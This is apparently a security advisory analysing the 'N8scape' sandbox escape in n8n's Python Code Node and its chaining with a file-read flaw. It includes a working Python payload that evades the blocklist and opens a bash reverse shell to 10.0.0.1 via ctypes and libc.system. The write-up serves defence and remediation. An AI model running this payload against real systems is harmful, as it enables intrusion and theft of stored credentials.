Target: n8n (Workflow Automation Tool)
Component: Python Code Node (Pyodide Execution Environment)
Vector: Authenticated Remote Code Execution (Post-Auth), escalatable to Unauthenticated via Chaining.
n8n functions as the “Central Nervous System” of modern enterprise stacks. It acts as an Automation Control Plane, designed to ingest data from one source (e.g., a PostgreSQL database), process it, and route it to another (e.g., Salesforce, Slack, or AWS Lambda).
To facilitate complex data manipulation, n8n introduced “Code Nodes,” allowing users to write custom JavaScript or Python scripts within their workflows. In self-hosted environments, this presents the classic “Untrusted Code Execution” problem. The platform must execute user-defined logic while preventing that logic from accessing the host operating system.
The Hub-and-Spoke Risk Model The compromise of an n8n instance is mathematically distinct from a standard web server breach. Because n8n requires stored credentials to function, a compromise of the “Hub” (n8n) grants immediate, authenticated access to every “Spoke” (connected API/Service).
In this incident, the “N8scape” vulnerability (CVE-2025-68668) shattered the boundary between the user’s script and the server’s kernel.
Root Cause: Reliance on Blocklisting for Dynamic Language Isolation (CWE-693) and Unrestricted FFI Access.
The vulnerability stems from the architectural decision to run Python code using Pyodide—a port of CPython to WebAssembly (Wasm)—directly inside the main Node.js process. While Wasm offers a memory-safe sandbox by default, n8n needed to bridge data between Node.js and Python to make the tool useful. To secure this, they relied on a Blocklist (Denylist) strategy, attempting to forbid specific Python modules (like os, subprocess) and JavaScript bridges.
Python is a highly introspective language. Relying on a static list of “bad words” to prevent malicious behavior is structurally flawed. The “N8scape” exploit bypassed the initial static analysis/filter by utilizing an internal API function: _pyodide._base.eval_code().
By passing the malicious payload as a string to this internal evaluator, the code bypasses the surface-level token scanners that look for forbidden imports.
The fatal flaw was leaving the ctypes library accessible within the Pyodide environment. ctypes is Python’s Foreign Function Interface (FFI) library. It allows Python code to call functions in shared libraries (DLLs/.so) and manipulate C-data types in memory.
In a standard Wasm environment, loading external libraries is restricted. However, because Pyodide was running inside a Node.js host with specific Emscripten configurations, ctypes could still access the memory space of the running process.
The Mechanics of the Escape:
ctypes.CDLL(None). In POSIX systems (and their emulations), passing None returns a handle to the main executable and its global symbol table.system().os.system wrapper entirely.The blocklist prevented the high-level Python call (os.system), but failed to prevent the low-level memory call (libc.system) that os.system wraps.
While CVE-2025-68668 requires authentication, the true devastation of this incident was its deployment in a chain alongside CVE-2026-21858.
Vuln: CVE-2026-21858 (Arbitrary File Read)
The attacker targets an n8n Webhook endpoint. Due to a logic flaw in the multipart/form-data parser, a crafted request confuses the server into treating a JSON body as a file upload configuration. This allows the attacker to overwrite the internal file-handling config and force the server to “read” a sensitive local file (like /home/node/.n8n/config or the SQLite database) and return it in the webhook response.
From the stolen database or config file, the attacker extracts the administrator password hash or session tokens. They use this to log into the n8n dashboard with full administrative privileges.
Vuln: CVE-2025-68668 (Sandbox Escape)
The attacker creates a new workflow and adds a Python Code Node. They inject the payload designed to bypass the Pyodide restrictions:
import _pyodide._base
# The payload is wrapped in a string to evade static analysis
payload = """
import ctypes
# 1. Load the main process symbol table
# This bypasses the need to import 'os' or 'subprocess'
libc = ctypes.CDLL(None)
# 2. Execute a reverse shell via the C library's system() function
# The sandbox watches Python, but it cannot watch raw memory calls.
libc.system(b"bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'")
"""
# 3. Tunnel the payload through the internal evaluator
_pyodide._base.eval_code(payload)
The libc.system call executes with the privileges of the n8n process. The attacker gains a reverse shell. From here, they can:
env to steal AWS keys, Stripe secrets, and Database credentials.The remediation represents a fundamental shift in architecture, moving from Thread Isolation (fragile) to Process Isolation (robust).
The Legacy Architecture (Vulnerable):
The v2.0.0 Architecture (Secure):
Immediate Remediation Code:
For users unable to upgrade to v2.0.0 immediately, n8n introduced environment flags to force the use of external runners in v1.x versions:
# Force the use of external task runners (Process Isolation)
export N8N_RUNNERS_ENABLED=true
export N8N_NATIVE_PYTHON_RUNNER=true
# OR: Disable Python entirely if runners cannot be deployed
export N8N_PYTHON_ENABLED=false
The Death of the Blocklist.
This vulnerability serves as a definitive tombstone for blocklist-based sandboxing in dynamic languages. If a language allows Introspection (inspecting itself) or FFI (calling C code), it is mathematically impossible to secure it by forbidding specific function names.
The “Trusted” Infrastructure Fallacy.
Organizations often treat automation tools as “Internal Trusted Apps.” N8scape demonstrates that these tools are actually Hostile Multi-Tenant Environments. Even if the tenants are your own employees, the execution environment must be hardened as if it were a public cloud provider. Code execution nodes should never share process memory with the application holding the keys to the kingdom.
Strategic Pivot: Security Architects must audit all Low-Code/No-Code (LCNC) platforms in their stack. If the platform executes code, ask: Does this run in a Thread or a Container? If the answer is Thread, assume it is already compromised.